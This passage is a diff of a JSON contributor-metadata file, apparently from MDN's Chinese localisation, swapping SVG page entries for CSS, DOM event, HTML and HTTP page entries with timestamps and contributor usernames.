"Web/SVG/Attribute/kernelMatrix": { - "modified": "2019-03-23T22:14:02.784Z", + "Web/CSS/CSS_Background_and_Borders/Box-shadow_generator": { + "modified": "2019-03-18T20:43:42.671Z", "contributors": [ - "liyongleihf2006" + "BychekRU", + "TiaossuP", + "charlie" ] }, - "Web/SVG/Attribute/keyTimes": { - "modified": "2019-03-18T21:30:15.598Z", + "Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox": { + "modified": "2020-02-11T09:41:01.217Z", "contributors": [ - "ZhenhuaChen" + "knightyun", + "fanjianfeng1010", + "EndlessSong", + "minvedacat", + "Ran_Lyu", + "xieminjie" ] }, - "Web/SVG/Attribute/letter-spacing": { - "modified": "2020-10-15T22:23:39.628Z", + "conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox": { + "modified": "2019-03-23T22:33:55.727Z", "contributors": [ - "vvv-7911" + "chrisdavidmills", + "SmilyLiang", + "SolitudeRA", + "zhicongyang", + "xgqfrms", + "jiahui" ] }, - "Web/SVG/Attribute/marker-end": { - "modified": "2020-10-15T22:18:07.958Z", + "Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox": { + "modified": "2020-06-21T23:26:55.230Z", "contributors": [ - "ciki6" + "cell", + "mileyho", + "xzhyj93", + "SkyeYoung", + "devindwan", + "xieminjie" ] }, - "Web/SVG/Attribute/marker-start": { - "modified": "2020-10-15T22:35:06.368Z", + "Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods": { + "modified": "2020-07-03T00:45:14.544Z", "contributors": [ - "ciki6" + "jin_wang", + "Wulakaka" ] }, - "Web/SVG/Attribute/mask": { - "modified": "2019-03-23T22:46:32.037Z", + "Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow": { + "modified": "2019-08-26T05:12:18.778Z", "contributors": [ - "wbamberg", - "ziyunfei", - "fanxiaojie" + "xuduotom", + "wython", + "kernellmd", + "feaswcy" ] }, - "Web/SVG/Attribute/max": { - "modified": "2020-10-15T22:26:09.162Z", + "Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes": { + "modified": "2019-03-18T21:44:18.420Z", "contributors": [ - "bompoo" + "comehope" ] }, - "Web/SVG/Attribute/media": { - "modified": "2020-10-15T22:28:22.473Z", + "Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout": { + "modified": "2019-09-04T22:46:41.081Z", "contributors": [ - "Firefox_mozilla" + "zhangchen", + "Juvon", + "SphinxKnight" ] }, - "Web/SVG/Attribute/opacity": { - "modified": "2019-03-23T22:46:17.591Z", + "Web/CSS/CSS_Logical_Properties/Basic_concepts": { + "modified": "2019-03-28T00:11:41.934Z", "contributors": [ - "fanxiaojie" + "Aamperor" ] }, - "Web/SVG/Attribute/order": { - "modified": "2019-03-23T22:14:09.913Z", + "Web/CSS/CSS_Logical_Properties/Floating_and_positioning": { + "modified": "2020-12-09T23:54:16.957Z", "contributors": [ - "liyongleihf2006" + "bernie-ning" ] }, - "Web/SVG/Attribute/origin": { - "modified": "2020-09-21T09:25:39.365Z", + "Web/XPath/Comparison_with_CSS_selectors": { + "modified": "2019-03-18T21:23:06.866Z", "contributors": [ - "SphinxKnight", - "a420980938" + "zhanghengxin" ] }, - "Web/SVG/Attribute/overflow": { - "modified": "2020-10-15T22:09:03.459Z", + "Web/CSS/CSS_Fragmentation": { + "modified": "2019-12-03T13:06:14.108Z", "contributors": [ - "SphinxKnight", - "888aaa" + "pans9" ] }, - "Web/SVG/Attribute/path": { - "modified": "2019-01-17T01:11:59.482Z", + "Web/CSS/CSSOM_View/Coordinate_systems": { + "modified": "2019-03-18T21:28:19.895Z", "contributors": [ - "dfEric" + "1Cr18Ni9" ] }, - "Web/SVG/Attribute/pathLength": { - "modified": "2019-03-18T21:24:01.815Z", + "Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property": { + "modified": "2019-03-23T23:32:59.999Z", "contributors": [ - "EXSVAMP" + "xgqfrms-GitHub", + "teoli", + "ziyunfei" ] }, - "Web/SVG/Attribute/patternUnits": { - "modified": "2019-03-18T21:15:24.501Z", + "Web/CSS/Layout_cookbook/Card": { + "modified": "2020-10-15T22:28:29.154Z", "contributors": [ - "Chesn" + "fanyuedong" ] }, - "Web/SVG/Attribute/pointer-events": { - "modified": "2020-10-15T22:18:55.261Z", + "Web/CSS/Layout_cookbook/Media_objects": { + "modified": "2020-10-15T22:18:51.901Z", "contributors": [ - "WebsonLeo" + "wre232114" ] }, - "Web/SVG/Attribute/points": { - "modified": "2019-03-23T22:46:24.044Z", + "Web/CSS/overflow-wrap": { + "modified": "2020-10-15T21:32:14.809Z", "contributors": [ - "fanxiaojie" + "litmonw", + "dlnb526", + "WangWenZhang", + "pengwenbin7", + "xgqfrms", + "SAWSAWSAW", + "fscholz", + "Sebastianz", + "paddingme" ] }, - "Web/SVG/Attribute/preserveAlpha": { - "modified": "2019-03-18T21:30:40.693Z", + "Web/CSS/offset": { + "modified": "2020-10-15T22:07:46.289Z", "contributors": [ - "hy512" + "congyuandong", + "yichengxian" ] }, - "Web/SVG/Attribute/preserveAspectRatio": { - "modified": "2019-03-23T22:02:41.003Z", + "Web/CSS/Media_Queries": { + "modified": "2020-10-15T21:56:18.732Z", "contributors": [ - "codepandy", - "ciki6", - "yuyx91", - "webtuotuo2017" + "RainSlide", + "zjffun", + "Charley-Hsu" ] }, - "Web/SVG/Attribute/primitiveUnits": { - "modified": "2019-03-23T22:14:03.826Z", + "Web/CSS/text-decoration-thickness": { + "modified": "2020-10-15T22:25:42.153Z", "contributors": [ - "liyongleihf2006" + "tanapok", + "Zshining" ] }, - "Web/SVG/Attribute/r": { - "modified": "2019-03-18T21:22:40.271Z", + "Web/CSS/grid-template-rows": { + "modified": "2020-10-15T21:53:37.639Z", "contributors": [ - "realstephenzhao" + "narol", + "RainSlide", + "tsukimiya", + "Xiao4", + "1986slayer" ] }, - "Web/SVG/Attribute/radius": { - "modified": "2019-03-23T22:46:18.311Z", + "Web/API/Window/afterprint_event": { + "modified": "2020-10-15T21:52:37.979Z", "contributors": [ - "fanxiaojie" + "weibangtuo", + "fscholz", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/repeatCount": { - "modified": "2019-03-23T22:18:01.687Z", + "Web/API/Element/afterscriptexecute_event": { + "modified": "2020-10-15T21:52:39.291Z", "contributors": [ - "876843240", - "huainanhai" + "RainSlide", + "fscholz", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/result": { - "modified": "2019-01-16T21:31:09.328Z", + "Web/API/HTMLElement/animationend_event": { + "modified": "2019-03-23T22:08:23.322Z", "contributors": [ - "fanxiaojie" + "PaperFlu" ] }, - "Web/SVG/Attribute/rx": { - "modified": "2019-03-18T21:00:24.171Z", + "Web/API/HTMLElement/animationstart_event": { + "modified": "2019-03-23T23:17:59.744Z", "contributors": [ - "RainSlide", - "BowenSun" + "PaperFlu", + "fscholz", + "ziyunfei", + "shevche24" ] }, - "Web/SVG/Attribute/scale": { - "modified": "2019-03-23T22:46:29.331Z", + "Web/API/Window/beforeprint_event": { + "modified": "2020-10-15T21:52:38.969Z", "contributors": [ - "fanxiaojie" + "weibangtuo", + "fscholz", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/seed": { - "modified": "2019-03-23T22:46:25.651Z", + "Web/API/Element/beforescriptexecute_event": { + "modified": "2020-10-15T21:29:36.732Z", "contributors": [ - "fanxiaojie" + "RainSlide", + "fscholz", + "ziyunfei", + "LinusYu" ] }, - "Web/SVG/Attribute/shape-rendering": { - "modified": "2019-03-23T22:41:44.530Z", + "Web/API/Window/beforeunload_event": { + "modified": "2020-10-15T21:34:03.122Z", "contributors": [ - "maicss" + "pe4ch", + "Carllllo", + "MikeLeon23", + "Junezm", + "xgqfrms", + "wbamberg", + "HereChen", + "luhaimin", + "sqchenxiyuan", + "tcatche", + "maxsky", + "Tienyz", + "monjer" ] }, - "Web/SVG/Attribute/stdDeviation": { - "modified": "2019-03-18T21:23:00.621Z", + "Web/API/Element/blur_event": { + "modified": "2019-03-23T22:23:55.603Z", "contributors": [ - "realstephenzhao" + "hhxxhg", + "hyh19962008", + "fscholz", + "m2mbob" ] }, - "Web/SVG/Attribute/string": { - "modified": "2020-10-15T22:28:09.817Z", + "Web/API/HTMLElement/change_event": { + "modified": "2020-10-15T21:32:01.453Z", "contributors": [ - "Tjhxzd" + "ljdmailbox", + "Clarkkkk", + "LIXiangChen", + "fscholz", + "yangxiaoqiao", + "xgqfrms-GitHub", + "azhi09", + "ziyunfei", + "charlie" ] }, - "Web/SVG/Attribute/stroke": { - "modified": "2019-03-23T22:47:39.759Z", + "Web/API/Element/compositionend_event": { + "modified": "2019-04-30T13:56:51.967Z", "contributors": [ - "fanxiaojie", - "slientomorrr" + "wbamberg", + "TreeVie", + "leehomeok" ] }, - "Web/SVG/Attribute/stroke-dasharray": { - "modified": "2019-08-08T05:38:03.197Z", + "Web/API/Element/compositionstart_event": { + "modified": "2020-10-15T21:43:38.190Z", "contributors": [ - "fanxiaojie" + "Carllllo", + "wbamberg", + "superfighter", + "StaicCai", + "laobubu" ] }, - "Web/SVG/Attribute/stroke-dashoffset": { - "modified": "2019-10-10T16:56:45.450Z", + "Web/API/Element/compositionupdate_event": { + "modified": "2019-04-30T14:03:15.654Z", "contributors": [ - "ZhengYinBo", - "yanagao" + "wbamberg", + "fscholz", + "laobubu" ] }, - "Web/SVG/Attribute/stroke-linecap": { - "modified": "2019-03-23T22:21:59.850Z", + "Web/API/Element/copy_event": { + "modified": "2019-04-30T13:59:22.378Z", "contributors": [ - "ZhengYinBo" + "wbamberg", + "zhangchen", + "fscholz", + "inottn", + "maicss" ] }, - "Web/SVG/Attribute/stroke-linejoin": { - "modified": "2020-10-15T21:52:22.702Z", + "Web/API/Element/cut_event": { + "modified": "2019-04-30T14:14:11.414Z", "contributors": [ - "cuixiping", - "IridescentMia" + "wbamberg", + "chenyanfei-m" ] }, - "Web/SVG/Attribute/stroke-miterlimit": { - "modified": "2019-03-23T22:46:40.182Z", + "Web/API/Window/DOMContentLoaded_event": { + "modified": "2020-10-15T21:21:31.073Z", "contributors": [ - "fanxiaojie" + "windybniw", + "shaw1121", + "knightyun", + "1v9", + "wbamberg", + "hhxxhg", + "274659281", + "fscholz", + "Niefee", + "xgqfrms-GitHub", + "BoatGina", + "broven", + "bambooom", + "ZivHe", + "ziyunfei", + "less", + "monjer", + "jtyjty99999" ] }, - "Web/SVG/Attribute/stroke-opacity": { - "modified": "2019-03-23T22:46:37.761Z", + "Web/API/Element/error_event": { + "modified": "2020-10-15T21:34:06.283Z", "contributors": [ - "fanxiaojie" + "pe4ch", + "liuruiqi1993", + "fscholz", + "Daqin", + "monjer" ] }, - "Web/SVG/Attribute/stroke-width": { - "modified": "2019-03-23T22:46:41.922Z", + "Web/API/Element/focus_event": { + "modified": "2019-03-31T11:52:42.546Z", "contributors": [ - "fanxiaojie" + "fscholz", + "VictorDu" ] }, - "Web/SVG/Attribute/style": { - "modified": "2019-10-09T03:46:30.272Z", + "Web/API/Element/focusout_event": { + "modified": "2019-03-23T22:15:46.626Z", "contributors": [ - "xianshenglu", - "xgqfrms-GitHub", - "monjer" + "fscholz", + "liuhe" ] }, - "Web/SVG/Attribute/target": { - "modified": "2020-10-15T22:27:15.767Z", + "Web/API/RTCPeerConnection/icecandidate_event": { + "modified": "2020-02-07T11:21:30.934Z", "contributors": [ - "fzhyzamt", - "boli14" + "zotille", + "wbamberg", + "BillgoXu" ] }, - "Web/SVG/Attribute/text-decoration": { - "modified": "2020-09-26T20:27:21.690Z", + "Web/API/HTMLElement/input_event": { + "modified": "2020-10-15T21:30:28.054Z", "contributors": [ - "xuhaooo", - "qingpingy" + "Carllllo", + "Freezer", + "chess99", + "shijistar", + "fscholz", + "xgqfrms-GitHub", + "laobubu", + "ziyunfei", + "lyklykkkkkkk" ] }, - "Web/SVG/Attribute/transform": { - "modified": "2019-10-17T10:24:00.177Z", + "Web/API/Window/load_event": { + "modified": "2020-10-15T21:36:32.271Z", "contributors": [ - "qq240814476" + "pe4ch", + "Mookiepiece", + "fscholz", + "xgqfrms-GitHub", + "kun.yan" ] }, - "Web/SVG/Attribute/type": { - "modified": "2019-09-27T11:12:53.094Z", + "Web/API/XMLHttpRequest/loadend_event": { + "modified": "2019-03-23T22:16:58.948Z", "contributors": [ - "Huang2019023239" + "fscholz", + "wudexiang", + "xgqfrms-GitHub" ] }, - "Web/SVG/Attribute/units-per-em": { - "modified": "2020-10-15T22:25:05.021Z", + "Web/API/XMLHttpRequest/loadstart_event": { + "modified": "2019-03-23T22:29:32.098Z", "contributors": [ - "pandahara" + "fscholz", + "faremax", + "Lxxyx" ] }, - "Web/SVG/Attribute/values": { - "modified": "2020-08-19T04:16:48.441Z", + "Web/API/BroadcastChannel/message_event": { + "modified": "2020-10-15T21:57:50.780Z", "contributors": [ - "keyline-1" + "Spikef", + "wbamberg", + "Lim", + "CrystalY", + "Yongest", + "hellowrenfei" ] }, - "Web/SVG/Attribute/vector-effect": { - "modified": "2020-10-15T22:25:39.831Z", + "Web/API/Element/mousewheel_event": { + "modified": "2019-03-18T21:09:07.563Z", "contributors": [ - "cuixiping" + "fscholz", + "soYawn" ] }, - "Web/SVG/Attribute/version": { - "modified": "2019-08-03T10:57:47.255Z", + "Web/API/Window/pageshow_event": { + "modified": "2020-05-15T03:40:03.122Z", "contributors": [ - "monkeycf", - "LiKunWillShine" + "BluesVN", + "lalaemls", + "WangShaoyu1", + "fscholz", + "shm" ] }, - "Web/SVG/Attribute/viewBox": { - "modified": "2019-08-01T23:50:11.252Z", + "Web/API/Element/paste_event": { + "modified": "2020-10-15T21:52:19.374Z", "contributors": [ - "lovefengruoqing", - "act262" + "qiudongwei", + "wbamberg", + "maicss" ] }, - "Web/SVG/Attribute/visibility": { - "modified": "2019-03-23T22:46:34.860Z", + "Web/API/Document/readystatechange_event": { + "modified": "2020-10-15T21:56:00.168Z", "contributors": [ - "fanxiaojie" + "Carllllo", + "RainSlide", + "zhangchen", + "fscholz", + "abc45628" ] }, - "Web/SVG/Attribute/width": { - "modified": "2019-03-23T22:46:51.950Z", + "Web/API/HTMLElement/transitionend_event": { + "modified": "2019-11-15T05:44:51.899Z", "contributors": [ - "Ende93", - "fanxiaojie" + "joshchiucn", + "fscholz", + "zhuangyin", + "SeriousL", + "dlengks", + "ziyunfei", + "jtyjty99999" ] }, - "Web/SVG/Attribute/x": { - "modified": "2019-03-23T22:46:48.086Z", + "Web/API/Window/unhandledrejection_event": { + "modified": "2020-10-15T22:03:35.162Z", "contributors": [ - "fanxiaojie" + "xuquentinyang", + "liangbus", + "RainSlide", + "wbamberg", + "Lie8466", + "zhaoqize" ] }, - "Web/SVG/Attribute/y": { - "modified": "2019-03-23T22:46:47.078Z", + "Web/API/Window/unload_event": { + "modified": "2020-10-15T21:21:37.553Z", "contributors": [ - "jiereal", - "fanxiaojie" + "pe4ch", + "acelibin", + "fscholz", + "xgqfrms-GitHub", + "ziyunfei", + "jtyjty99999" ] }, - "Web/SVG/Attribute/文本锚点": { - "modified": "2019-03-23T22:22:02.773Z", + "Web/API/XMLHttpRequest/progress_event": { + "modified": "2020-10-15T21:49:44.294Z", "contributors": [ - "AozakiOrenji", - "yashuer" + "Ende93", + "957398123", + "fscholz", + "roberthow", + "fengfu" ] }, - "Web/SVG/Attribute/样式": { - "modified": "2020-10-15T22:10:48.584Z", + "Web/API/Web_Workers_API/Structured_clone_algorithm": { + "modified": "2019-03-23T22:19:28.512Z", "contributors": [ - "liu3329" + "zhangchen", + "xgqfrms-GitHub", + "kameii", + "liuqipeng417", + "FredWe" ] }, - "Web/SVG/Content_type": { - "modified": "2019-03-23T22:46:41.769Z", + "Web/CSS/CSS_Lists_and_Counters/Consistent_list_indentation": { + "modified": "2019-03-23T23:22:24.362Z", "contributors": [ - "fanxiaojie" + "freshSep", + "Wenbin" ] }, - "Web/SVG/Element": { - "modified": "2020-03-13T06:26:33.332Z", + "Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters": { + "modified": "2019-03-23T23:28:24.261Z", "contributors": [ - "Dorence", - "RainSlide", - "fanxiaojie", - "lunix01", - "cungen", - "teoli", - "ethertank" + "Ende93", + "Jiang-Xuan", + "Jiasm", + "Nightingale" ] }, - "Web/SVG/Element/a": { - "modified": "2019-06-15T03:14:27.907Z", + "Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS": { + "modified": "2019-03-23T23:22:22.347Z", "contributors": [ - "lnh", - "sqchenxiyuan", - "Sebastianz", - "fanxiaojie", - "teoli", - "techird" + "RainSlide", + "ReyCG_sub", + "bingguo", + "Wenbin" ] }, - "Web/SVG/Element/altGlyph": { - "modified": "2019-06-15T03:14:19.322Z", + "orphaned/Web/Guide/CSS/CSS基础": { + "modified": "2019-03-18T20:41:49.035Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "fscholz", + "Go7hic", + "Mrzzchao" ] }, - "Web/SVG/Element/altGlyphDef": { - "modified": "2019-03-23T22:46:38.701Z", + "Learn/CSS/Howto/Generated_content": { + "modified": "2020-07-16T22:25:48.610Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Kilimanjaro", + "Robinx", + "Harvesty", + "ziyunfei", + "teoli", + "Chajn", + "aztack" ] }, - "Web/SVG/Element/altGlyphItem": { - "modified": "2019-03-23T22:46:33.665Z", + "Web/Progressive_web_apps/Responsive/Media_types": { + "modified": "2019-03-23T23:12:04.497Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "Robinx", + "Harvesty", + "jasonzhyan", + "ziyunfei", + "yeol", + "teoli", + "Chajn" ] }, - "Web/SVG/Element/animate": { - "modified": "2020-05-04T23:05:51.292Z", + "Web/SVG/Tutorial/SVG_and_CSS": { + "modified": "2019-03-23T23:20:53.389Z", "contributors": [ - "knightyun", - "oujielong", - "Ende93", - "luojia", - "Sebastianz", - "fanxiaojie", - "329530588", - "lunix01" + "ziyunfei", + "teoli", + "aztack" ] }, - "Web/SVG/Element/animateColor": { - "modified": "2019-03-23T22:46:35.027Z", + "Web/CSS/Media_Queries/Using_media_queries": { + "modified": "2020-05-17T23:15:16.911Z", "contributors": [ + "wallena3", + "Swordword", + "RainSlide", + "wuguichiroumeiyou", + "LemonTency", + "AielloChan", + "lllvantis", + "chaiyu2002", + "ziyunfei", "xgqfrms-GitHub", + "Junetea", + "jggnice", + "fidejade", + "liyongleihf2006", + "AozakiOrenji", + "lokyoung", "Sebastianz", - "fanxiaojie" + "mrstork", + "malayaleecoder", + "pantao", + "Ende93", + "Wenbin", + "anjianshi", + "ZhaoMing", + "Nightingale" ] }, - "Web/SVG/Element/animateMotion": { - "modified": "2020-10-15T21:39:29.124Z", + "Web/CSS/Media_Queries/Testing_media_queries": { + "modified": "2020-10-15T21:25:42.378Z", "contributors": [ - "knightyun", - "wbamberg", - "Sebastianz", - "fanxiaojie" + "RainSlide", + "Chajn", + "reygreen1", + "Wenbin" ] }, - "Web/SVG/Element/animateTransform": { - "modified": "2019-03-23T22:46:37.058Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index": { + "modified": "2019-03-23T23:21:48.784Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "ziyunfei", + "teoli", + "ArthasTree" ] }, - "Web/SVG/Element/circle": { - "modified": "2019-03-23T21:45:42.756Z", + "Web/CSS/CSS_Positioning/Understanding_z_index": { + "modified": "2019-03-23T23:33:08.995Z", "contributors": [ - "wbamberg", - "xgqfrms-GitHub", - "Sebastianz", - "loofahsf", - "fanxiaojie", + "zhangchen", + "ZQH", + "Go7hic", "ziyunfei", - "cungen" + "teoli", + "ArthasTree" ] }, - "Web/SVG/Element/clipPath": { - "modified": "2020-10-15T21:32:57.569Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float": { + "modified": "2019-03-23T23:29:39.696Z", "contributors": [ - "jhchen6", - "RainSlide", - "Sebastianz", - "fanxiaojie", - "huyue" + "lixuguang", + "Marcia_gm", + "ziyunfei", + "teoli", + "sunnylost" ] }, - "Web/SVG/Element/color-profile": { - "modified": "2019-03-23T22:46:33.322Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1": { + "modified": "2020-04-09T03:35:06.982Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "liuyibo", + "VickyJin" ] }, - "Web/SVG/Element/cursor": { - "modified": "2020-10-15T21:39:22.908Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2": { + "modified": "2019-03-23T22:25:59.868Z", "contributors": [ - "knightyun", - "Sebastianz", - "fanxiaojie" + "Skyrelu" ] }, - "Web/SVG/Element/defs": { - "modified": "2019-03-23T23:05:33.636Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3": { + "modified": "2020-01-19T10:58:58.576Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "charlie", - "baiya" + "zenHeart", + "Skyrelu" ] }, - "Web/SVG/Element/desc": { - "modified": "2019-03-23T22:46:43.461Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index": { + "modified": "2019-08-23T06:42:17.114Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "allan_simon", + "ziyunfei", + "teoli", + "sunnylost", + "endlesswind" ] }, - "Web/SVG/Element/ellipse": { - "modified": "2019-03-23T22:54:08.203Z", + "Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context": { + "modified": "2020-01-02T04:20:32.161Z", "contributors": [ - "wbamberg", - "Sebastianz", - "fanxiaojie", - "FredWe" + "Sl0v3C", + "realstephenzhao", + "hayahayao", + "SakuraSnow", + "zjffun", + "gzponline", + "kevinfszu", + "Ende93", + "huangcheng", + "yisibl", + "ziyunfei", + "Dolphin_Wood", + "davin107", + "fake", + "teoli", + "ethertank", + "tzyeah" ] }, - "Web/SVG/Element/feBlend": { - "modified": "2019-03-23T22:46:45.814Z", + "Web/CSS/CSS_Images/Using_CSS_gradients": { + "modified": "2020-08-08T22:22:01.317Z", "contributors": [ - "liyongleihf2006", + "funicular", + "pe4ch", + "sanxun515", + "Aamperor", + "zhangnan666", + "zjffun", + "weedwong", + "Gaven-Xu", + "yatace", "Sebastianz", - "fanxiaojie" + "hkfn123", + "lttxzmj", + "RogerShen", + "anjianshi" ] }, - "Web/SVG/Element/feColorMatrix": { - "modified": "2019-03-23T23:25:05.534Z", + "Web/CSS/CSS_Columns/Using_multi-column_layouts": { + "modified": "2019-03-23T23:28:24.667Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "teoli", - "daniel.tian" + "Bayes", + "xgqfrms-GitHub", + "fscholz", + "Nightingale" ] }, - "Web/SVG/Element/feComponentTransfer": { - "modified": "2019-03-23T22:46:30.620Z", + "Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors": { + "modified": "2019-03-23T22:52:16.056Z", "contributors": [ - "liyongleihf2006", - "Sebastianz", - "fanxiaojie" + "Ende93", + "huangcheng", + "FredWe" ] }, - "Web/SVG/Element/feComposite": { - "modified": "2019-03-23T22:46:29.887Z", + "Web/CSS/Visual_formatting_model": { + "modified": "2019-03-18T21:10:31.376Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "guangzai", + "ssttii", + "qw8880000", + "Terry.Qiao", + "ziyunfei", + "zhanglun", + "teoli", + "sunnylost", + "yan" ] }, - "Web/SVG/Element/feConvolveMatrix": { - "modified": "2019-08-01T01:30:07.081Z", + "Web/Guide/HTML/Editable_content": { + "modified": "2020-09-22T00:31:12.632Z", "contributors": [ - "liyongleihf2006", - "Sebastianz", - "fanxiaojie" + "imarco", + "YogurtQ", + "xianghui-ma", + "Hew007", + "zhuangyin", + "jamesxu", + "ziyunfei", + "teoli", + "sunnylost", + "ethertank" ] }, - "Web/SVG/Element/feDiffuseLighting": { - "modified": "2019-03-23T22:46:38.862Z", + "Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla": { + "modified": "2019-11-25T00:57:33.951Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "gao5252", + "SphinxKnight", + "chrisdavidmills", + "sijinglei", + "doodlewind", + "zezhou", + "Cbgrape", + "Teago" ] }, - "Web/SVG/Element/feDisplacementMap": { - "modified": "2019-03-23T22:46:34.138Z", + "orphaned/Learn/HTML/Forms/HTML5_updates": { + "modified": "2019-03-23T23:33:41.492Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "huozicheng", + "xgqfrms-GitHub", + "ziyunfei", + "teoli", + "sunnylost", + "jtyjty99999" ] }, - "Web/SVG/Element/feDistantLight": { - "modified": "2019-03-23T22:46:37.517Z", + "orphaned/Web/Guide/HTML/HTML": { + "modified": "2019-06-25T10:18:27.080Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "xiajun1996", + "ziyunfei", + "zzangxu" ] }, - "Web/SVG/Element/feFlood": { - "modified": "2019-03-23T22:46:31.627Z", + "Web/Guide/HTML/Using_HTML_sections_and_outlines": { + "modified": "2019-03-21T10:38:08.111Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "jimmy-sum", + "VdoG", + "StarXY", + "kevinfszu", + "mengzyou", + "xuexiaocai" ] }, - "Web/SVG/Element/feFuncA": { - "modified": "2020-10-15T21:39:23.537Z", + "Learn/HTML/Howto/Author_fast-loading_HTML_pages": { + "modified": "2020-07-16T22:22:33.856Z", "contributors": [ - "RainSlide", - "Sebastianz", - "fanxiaojie" + "Dorence", + "Banhave", + "boltyu", + "TheaAo", + "wth", + "Samoay", + "ziyunfei", + "Y001", + "Mgjbot", + "Carrie zhxj" ] }, - "Web/SVG/Element/feFuncB": { - "modified": "2019-03-23T22:46:38.185Z", + "Learn/HTML/Howto/Use_data_attributes": { + "modified": "2020-07-16T22:22:37.588Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "zhangchen", + "hhxxhg", + "lavenderming", + "xgqfrms-GitHub", + "hellotaotao", + "Go7hic", + "marshalYuan", + "monjer", + "Deryckxie" ] }, - "Web/SVG/Element/feFuncG": { - "modified": "2019-03-23T22:46:32.939Z", + "Web/HTML/Attributes/autocomplete": { + "modified": "2020-10-15T22:25:13.539Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Element/feFuncR": { - "modified": "2019-03-23T22:46:31.912Z", + "Web/HTML/Attributes/crossorigin": { + "modified": "2019-11-26T01:56:32.661Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "wangjian", + "Melo.HG", + "xgqfrms-GitHub", + "mygaochunming", + "xgqfrms", + "kmc947373" ] }, - "Web/SVG/Element/feGaussianBlur": { - "modified": "2019-03-23T22:46:35.725Z", + "Web/Media/DASH_Adaptive_Streaming_for_HTML_5_Video": { + "modified": "2019-12-03T21:07:25.830Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "guow10", + "xcffl" ] }, - "Web/SVG/Element/feImage": { - "modified": "2019-03-23T22:46:35.585Z", + "orphaned/Web/HTML/Element/command": { + "modified": "2019-03-18T20:43:33.481Z", "contributors": [ - "AaronYehf", - "Sebastianz", - "fanxiaojie" + "wbamberg", + "practicemp", + "ziyunfei" ] }, - "Web/SVG/Element/feMerge": { - "modified": "2019-03-23T22:46:36.019Z", + "orphaned/Web/HTML/Element/element": { + "modified": "2019-03-23T22:13:42.917Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "angelllls" ] }, - "Web/SVG/Element/feMergeNode": { - "modified": "2019-03-23T22:46:29.748Z", + "Web/HTML/Element/input/month": { + "modified": "2020-10-15T21:57:03.537Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "RainSlide", + "AliasZet" ] }, - "Web/SVG/Element/feMorphology": { - "modified": "2019-03-23T22:51:21.184Z", + "Web/HTML/Element/input/range": { + "modified": "2020-10-15T22:25:22.859Z", "contributors": [ - "Sebastianz", - "fanxiaojie", - "foolof41" + "q.z", + "hzy", + "pans9" ] }, - "Web/SVG/Element/feOffset": { - "modified": "2019-03-23T22:46:37.362Z", + "orphaned/Web/HTML/Global_attributes/dropzone": { + "modified": "2019-03-23T22:10:15.156Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "wizardforcel" ] }, - "Web/SVG/Element/fePointLight": { - "modified": "2019-03-23T22:46:33.171Z", + "Web/HTML/Global_attributes/x-ms-acceleratorkey": { + "modified": "2019-12-03T17:45:24.248Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Element/feSpecularLighting": { - "modified": "2019-03-23T22:46:21.088Z", + "Web/HTML/Global_attributes/x-ms-format-detection": { + "modified": "2019-12-03T17:54:04.795Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "pans9" ] }, - "Web/SVG/Element/feSpotLight": { - "modified": "2019-03-23T22:46:30.010Z", + "Glossary/speculative_parsing": { + "modified": "2019-03-23T22:46:26.910Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "huangcheng", + "ziyunfei", + "mengshukun" ] }, - "Web/SVG/Element/feTile": { - "modified": "2019-03-23T22:46:20.383Z", + "Web/HTTP/CORS": { + "modified": "2020-11-30T22:27:21.749Z", "contributors": [ - "Sebastianz", - "fanxiaojie" + "seawaywen", + "fuweichin", + "jsonz1993", + "shens3", + "chanvin", + "SirnoChan", + "skywalker_z", + "Noodles006", + "yantong", + "hansnow", + "leoxiao2012", + "kunyaoxu", + "zjffun", + "show-rosarugosa", + "hnzxmutex", + "miuchan", + "ChenShihao", + "alvan", + "BobGreen", + "jiladahe1997", + "ErCargo", + "s1len0eye", + 